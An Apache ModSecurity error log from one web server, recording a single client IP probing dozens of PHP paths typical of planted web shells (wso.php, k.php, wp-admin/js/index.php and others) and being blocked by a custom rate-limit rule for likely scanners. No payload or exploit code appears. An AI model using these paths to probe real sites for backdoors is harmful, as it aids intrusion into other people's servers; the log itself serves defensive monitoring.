[Sat May 23 20:50:08.636835 2026] [:error] [pid 44296:tid 44320] [client 4.213.99.137:1375] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "ahGigJdrUdFI6ijvMkmMAAAAAVY"]
[Sat May 23 20:50:08.915521 2026] [:error] [pid 31039:tid 31051] [client 4.213.99.137:1471] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "ahGigKIYDYo8WvA5zLJF5gAAAMo"]
[Sat May 23 20:50:09.195574 2026] [:error] [pid 44296:tid 44315] [client 4.213.99.137:1183] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "ahGigZdrUdFI6ijvMkmMAgAAAVE"]
[Sat May 23 20:50:09.494426 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1427] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "ahGigaIYDYo8WvA5zLJF5wAAANY"]
[Sat May 23 20:50:09.768204 2026] [:error] [pid 44296:tid 44317] [client 4.213.99.137:1386] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "ahGigZdrUdFI6ijvMkmMBAAAAVM"]
[Sat May 23 20:50:10.044716 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1392] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "ahGignTIgjSDhiZmvlXuAgAAAFg"]
[Sat May 23 20:50:10.338428 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1416] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "ahGigtUosz64YFiBlG11WAAAAIc"]
[Sat May 23 20:50:10.623820 2026] [:error] [pid 44325:tid 44352] [client 4.213.99.137:1404] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "ahGiglgUQb4puB_2yV8lUwAAAZg"]
[Sat May 23 20:50:10.922356 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1422] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "ahGiglgUQb4puB_2yV8lVAAAAYI"]
[Sat May 23 20:50:11.230886 2026] [:error] [pid 44326:tid 44356] [client 4.213.99.137:1107] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "ahGig8yrPrcAqE-FOKKfoQAAAcE"]
[Sat May 23 20:50:11.536852 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1426] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "ahGig8yrPrcAqE-FOKKfogAAAdY"]
[Sat May 23 20:50:11.815964 2026] [:error] [pid 25876:tid 25884] [client 4.213.99.137:1403] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "ahGigwSpWUCKPezIBJCtpAAAAQY"]
[Sat May 23 20:50:12.103047 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1187] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "ahGihASpWUCKPezIBJCtpgAAARM"]
[Sat May 23 20:50:12.384056 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1207] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "ahGihFgUQb4puB_2yV8lVwAAAYY"]
[Sat May 23 20:50:12.713110 2026] [:error] [pid 25876:tid 25898] [client 4.213.99.137:1357] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "ahGihASpWUCKPezIBJCtqAAAARQ"]
[Sat May 23 20:50:12.997882 2026] [:error] [pid 44325:tid 44347] [client 4.213.99.137:1115] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "ahGihFgUQb4puB_2yV8lWAAAAZM"]
[Sat May 23 20:50:13.270279 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1366] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "ahGihXTIgjSDhiZmvlXuAwAAAFQ"]
[Sat May 23 20:50:13.543400 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1184] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "ahGihVgUQb4puB_2yV8lWQAAAZI"]
[Sat May 23 20:50:13.855785 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1363] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "ahGihXTIgjSDhiZmvlXuBQAAAEc"]
[Sat May 23 20:50:14.132670 2026] [:error] [pid 44296:tid 44313] [client 4.213.99.137:1136] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "ahGihpdrUdFI6ijvMkmMBwAAAU8"]
[Sat May 23 20:50:14.419800 2026] [:error] [pid 44296:tid 44311] [client 4.213.99.137:1411] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "ahGihpdrUdFI6ijvMkmMCAAAAU0"]
[Sat May 23 20:50:14.690761 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1446] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "ahGihpdrUdFI6ijvMkmMCQAAAVQ"]
[Sat May 23 20:50:14.970502 2026] [:error] [pid 44326:tid 44376] [client 4.213.99.137:1145] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "ahGihsyrPrcAqE-FOKKfpQAAAdU"]
[Sat May 23 20:50:15.246518 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1428] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "ahGih6IYDYo8WvA5zLJF7wAAAMs"]
[Sat May 23 20:50:15.515470 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1393] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "ahGih8yrPrcAqE-FOKKfpgAAAc8"]
[Sat May 23 20:50:15.785044 2026] [:error] [pid 44325:tid 44350] [client 4.213.99.137:1417] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zup.php73"] [unique_id "ahGih1gUQb4puB_2yV8lXQAAAZY"]
[Sat May 23 20:50:16.061971 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1092] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ahGiiMyrPrcAqE-FOKKfqAAAAcg"]
[Sat May 23 20:50:16.383639 2026] [:error] [pid 31039:tid 31065] [client 4.213.99.137:1456] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ahGiiKIYDYo8WvA5zLJF8QAAANg"]
[Sat May 23 20:50:16.659155 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1139] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ahGiiMyrPrcAqE-FOKKfqQAAAcs"]
[Sat May 23 20:50:16.931761 2026] [:error] [pid 44326:tid 44375] [client 4.213.99.137:1109] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ahGiiMyrPrcAqE-FOKKfqgAAAdQ"]
[Sat May 23 20:50:17.249059 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:1410] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "ahGiiXTIgjSDhiZmvlXuBwAAAEk"]
[Sat May 23 20:50:17.526384 2026] [:error] [pid 44325:tid 44351] [client 4.213.99.137:1451] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "ahGiiVgUQb4puB_2yV8lXwAAAZc"]
[Sat May 23 20:50:17.802225 2026] [:error] [pid 44325:tid 44352] [client 4.213.99.137:1130] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "ahGiiVgUQb4puB_2yV8lYQAAAZg"]
[Sat May 23 20:50:18.103301 2026] [:error] [pid 31039:tid 31059] [client 4.213.99.137:1165] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blink.php"] [unique_id "ahGiiqIYDYo8WvA5zLJF8wAAANI"]
[Sat May 23 20:50:18.417590 2026] [:error] [pid 44296:tid 44312] [client 4.213.99.137:2022] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "ahGiipdrUdFI6ijvMkmMDgAAAU4"]
[Sat May 23 20:50:18.695513 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1093] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "ahGiisyrPrcAqE-FOKKfsQAAAcw"]
[Sat May 23 20:50:18.979804 2026] [:error] [pid 25876:tid 25883] [client 4.213.99.137:1089] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "ahGiigSpWUCKPezIBJCtrAAAAQU"]
[Sat May 23 20:50:19.289864 2026] [:error] [pid 30942:tid 31014] [client 4.213.99.137:1493] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "ahGii9Uosz64YFiBlG11WgAAAIs"]
[Sat May 23 20:50:19.574225 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1495] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahGii9Uosz64YFiBlG11WwAAAJA"]
[Sat May 23 20:50:19.860438 2026] [:error] [pid 44296:tid 44315] [client 4.213.99.137:1124] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahGii5drUdFI6ijvMkmMEQAAAVE"]
[Sat May 23 20:50:20.156863 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1463] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahGijNUosz64YFiBlG11XAAAAI8"]
[Sat May 23 20:50:20.434603 2026] [:error] [pid 44296:tid 44308] [client 4.213.99.137:1352] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahGijJdrUdFI6ijvMkmMEgAAAUo"]
[Sat May 23 20:50:20.704490 2026] [:error] [pid 25876:tid 25891] [client 4.213.99.137:1374] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ahGijASpWUCKPezIBJCtrQAAAQ0"]
[Sat May 23 20:50:20.981984 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1105] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ahGijJqUP2XZmzp7RDoMpgAAAAE"]
[Sat May 23 20:50:21.253640 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1135] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ahGijZdrUdFI6ijvMkmMFAAAAUE"]
[Sat May 23 20:50:21.551643 2026] [:error] [pid 30942:tid 31020] [client 4.213.99.137:1420] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ahGijdUosz64YFiBlG11XwAAAJE"]
[Sat May 23 20:50:21.913135 2026] [:error] [pid 31039:tid 31042] [client 4.213.99.137:1432] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "ahGijaIYDYo8WvA5zLJF-AAAAME"]
[Sat May 23 20:50:22.251294 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1423] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "ahGijsyrPrcAqE-FOKKftQAAAdY"]
[Sat May 23 20:50:22.522245 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1485] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "ahGijnTIgjSDhiZmvlXuDAAAAE0"]
[Sat May 23 20:50:22.797159 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1470] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ww5.php"] [unique_id "ahGijsyrPrcAqE-FOKKftgAAAc0"]
[Sat May 23 20:50:23.109027 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:1460] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ahGij8yrPrcAqE-FOKKftwAAAck"]
[Sat May 23 20:50:23.685721 2026] [:error] [pid 30942:tid 31009] [client 4.213.99.137:1142] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ahGij9Uosz64YFiBlG11YgAAAIY"]
[Sat May 23 20:50:23.970004 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1143] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ahGij3TIgjSDhiZmvlXuEAAAAEg"]
[Sat May 23 20:50:24.253578 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1134] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ahGikMyrPrcAqE-FOKKfvAAAAdA"]
[Sat May 23 20:50:24.548858 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1489] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "ahGikHTIgjSDhiZmvlXuEwAAAEE"]
[Sat May 23 20:50:24.836188 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1123] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "ahGikHTIgjSDhiZmvlXuFQAAAE4"]
